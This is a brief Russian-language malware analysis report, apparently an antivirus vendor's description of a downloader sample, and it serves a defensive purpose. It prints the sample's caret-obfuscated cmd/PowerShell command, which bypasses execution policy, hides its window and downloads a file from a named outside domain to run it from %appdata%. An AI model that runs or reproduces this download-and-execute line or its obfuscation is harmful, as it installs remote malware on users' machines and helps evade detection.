Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doomgamesoa.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Pow^E^Rsh^e^L^l^.^e^Xe -^eX^eCu^tIon^p^O^lIc^Y^ ByPA^s^S -noPROFIL^e^ ^-Windo^WsTY^LE^ HID^D^EN (ne^w-^ObJECt^ sYS^t^e^M.net.^WEBcLi^en^t)^.doW^nloA^DFi^le('http://www.doomgamesoa....
Сетевая активность
UDP
- DNS ASK do###amesoa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Pow^E^Rsh^e^L^l^.^e^Xe -^eX^eCu^tIon^p^O^lIc^Y^ ByPA^s^S -noPROFIL^e^ ^-Windo^WsTY^LE^ HID^D^EN (ne^w-^ObJECt^ sYS^t^e^M.net.^WEBcLi^en^t)^.doW^nloA^DFi^le('http://www.doomgamesoa....' (со скрытым окном)
